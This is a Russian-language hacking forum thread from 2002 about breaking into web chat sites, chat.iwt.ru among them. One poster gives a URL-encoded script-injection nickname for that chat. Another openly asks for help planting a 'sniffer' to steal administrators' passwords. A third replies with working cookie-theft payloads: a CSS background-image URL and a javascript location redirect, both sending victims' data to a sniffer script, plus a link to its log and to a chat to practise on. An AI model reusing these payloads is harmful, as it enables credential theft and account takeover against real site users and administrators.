ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.12.2002, 21:11
Аватар для
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию

Есть ли какая нибудь возможность всавить тег (картинку) в чат chat.iwt.ru Вообще есть ли там какие нибудь дыры
 
Ответить с цитированием

  #2  
Старый 09.12.2002, 23:36
Аватар для tableton®
tableton®
Новичок
Регистрация: 26.11.2002
Сообщений: 29
Провел на форуме:
0

Репутация: 0
По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ декабря 09 2002,20:11)</td></tr><tr><td id="QUOTE">Есть ли какая нибудь возможность всавить тег (картинку) в чат chat.iwt.ru Вообще есть ли там какие нибудь дыры[/QUOTE]<span id='postcolor'>
Ты не против если я тоже отвечу, хотя знаю что ты послал Алголу.Там, есть много где полазить, но я еще не все опробовал, из-за отсутствия времени. Надеюсь Алгол тебе поможет, если у него не будет той же проблемы
 
Ответить с цитированием

  #3  
Старый 10.12.2002, 13:31
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Есть незначительный баг - можно вставить скриптик в ник, который сработает при клике на нем.
Ник например такой : %22%2Balert%28%29%2B%222
 
Ответить с цитированием

  #4  
Старый 11.12.2002, 20:17
Аватар для Arthur
Arthur
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме:
0

Репутация: 0
По умолчанию

Hi Algol!!!
Баг с ником это конечно КРУТО....но мне всё же картинку надо....понимаешь....сниффак надо пихнуть ...что бы пароли админов стырить Может есть способ а
p.s. tableton® нашёл чё нить
 
Ответить с цитированием

  #5  
Старый 11.12.2002, 23:01
Аватар для tableton®
tableton®
Новичок
Регистрация: 26.11.2002
Сообщений: 29
Провел на форуме:
0

Репутация: 0
По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Arthur @ декабря 11 2002,19:17)</td></tr><tr><td id="QUOTE">p.s. tableton® нашёл чё нить[/QUOTE]<span id='postcolor'>
Прости, так времени и не было, но вон Алгол же тебе сказал уже, бери меняй скрипт да вставляй свой снифак, и все.
 
Ответить с цитированием

  #6  
Старый 11.12.2002, 23:56
Аватар для Arthur
Arthur
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме:
0

Репутация: 0
По умолчанию

tableton® ГЫ ГЫ ГЫ ...Я ДЕЦЛ В ЯВЕ НЕ СЕКУ...НЕ МОГ БЫ ТВЫ ПОМОЧЬ СО СНИФФАКОМ...???НАПИШИ &nbsp;ЕСЛИ КОНЕЧНО НЕ ТРУДНО НИК СО ВСТРОЕНЫМ СНИФАКОМ(МОНА ХАКЗОНОВСКИЙ)...ПЛИZZZ....СПС.
 
Ответить с цитированием

  #7  
Старый 12.12.2002, 00:00
Аватар для Arthur
Arthur
Новичок
Регистрация: 11.11.2002
Сообщений: 29
Провел на форуме:
0

Репутация: 0
По умолчанию

А кстати...Алгол , ты как то говорил, что чаты на зеркале (www.zerkalo.com) не ломаются.... уже сломали...в новом главном чате (всё там же на зеркале) был замечен флуд порно-картинками и тегами....
 
Ответить с цитированием

  #8  
Старый 12.12.2002, 00:51
Аватар для tableton®
tableton®
Новичок
Регистрация: 26.11.2002
Сообщений: 29
Провел на форуме:
0

Репутация: 0
По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Arthur @ декабря 11 2002,22:56)</td></tr><tr><td id="QUOTE">tableton® ГЫ ГЫ ГЫ ...Я ДЕЦЛ В ЯВЕ НЕ СЕКУ...НЕ МОГ БЫ ТВЫ ПОМОЧЬ СО СНИФФАКОМ...???НАПИШИ ЕСЛИ КОНЕЧНО НЕ ТРУДНО НИК СО ВСТРОЕНЫМ СНИФАКОМ(МОНА ХАКЗОНОВСКИЙ)...ПЛИZZZ....СПС.[/QUOTE]<span id='postcolor'>
Ок, да там нечего особо писать, смотри если ты выполняешь через таблицу стилей то будет так
style=background-image:url(http://www.antichat.ru/go/normal.php?id).
Кстати адрес, уже снифака. Вот ЛОГ
http://www.antichat.ru/go/log/normal_log.shtml
А если ты делаешь это чисто через джаву то тоже так
javascriptarent.location='http://...' Вот и все
Удачи, но лучше вот тебе Чат, там тренеруйся, там ваааще все что хочешь мона делать Гы
http://www.punkmusic.ru/cgi-bin/chat/chat.cgi
Но бди, там другие тоже тренеруються
 
Ответить с цитированием

  #9  
Старый 12.12.2002, 00:52
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

На зеркале много чатов, при чем на разных движках...
Знаю точно что не ломается эротический, насчет остальных - все может быть
Нужно посмотреть ...
(хотя тегами и админы могли баловаться)

Посмотрел... Нифига не ломается... Самый большой глюк- можно писать от любого ника..Больше ничего ...



 
Ответить с цитированием

  #10  
Старый 12.12.2002, 00:55
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Насчет chat.iwt.ru - других дыр, кроме ника, нет.
Но и ник тебе мало что даст, поскольку там стоит ограничение на длинну ника, длинный скрипт вставить не удастся...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ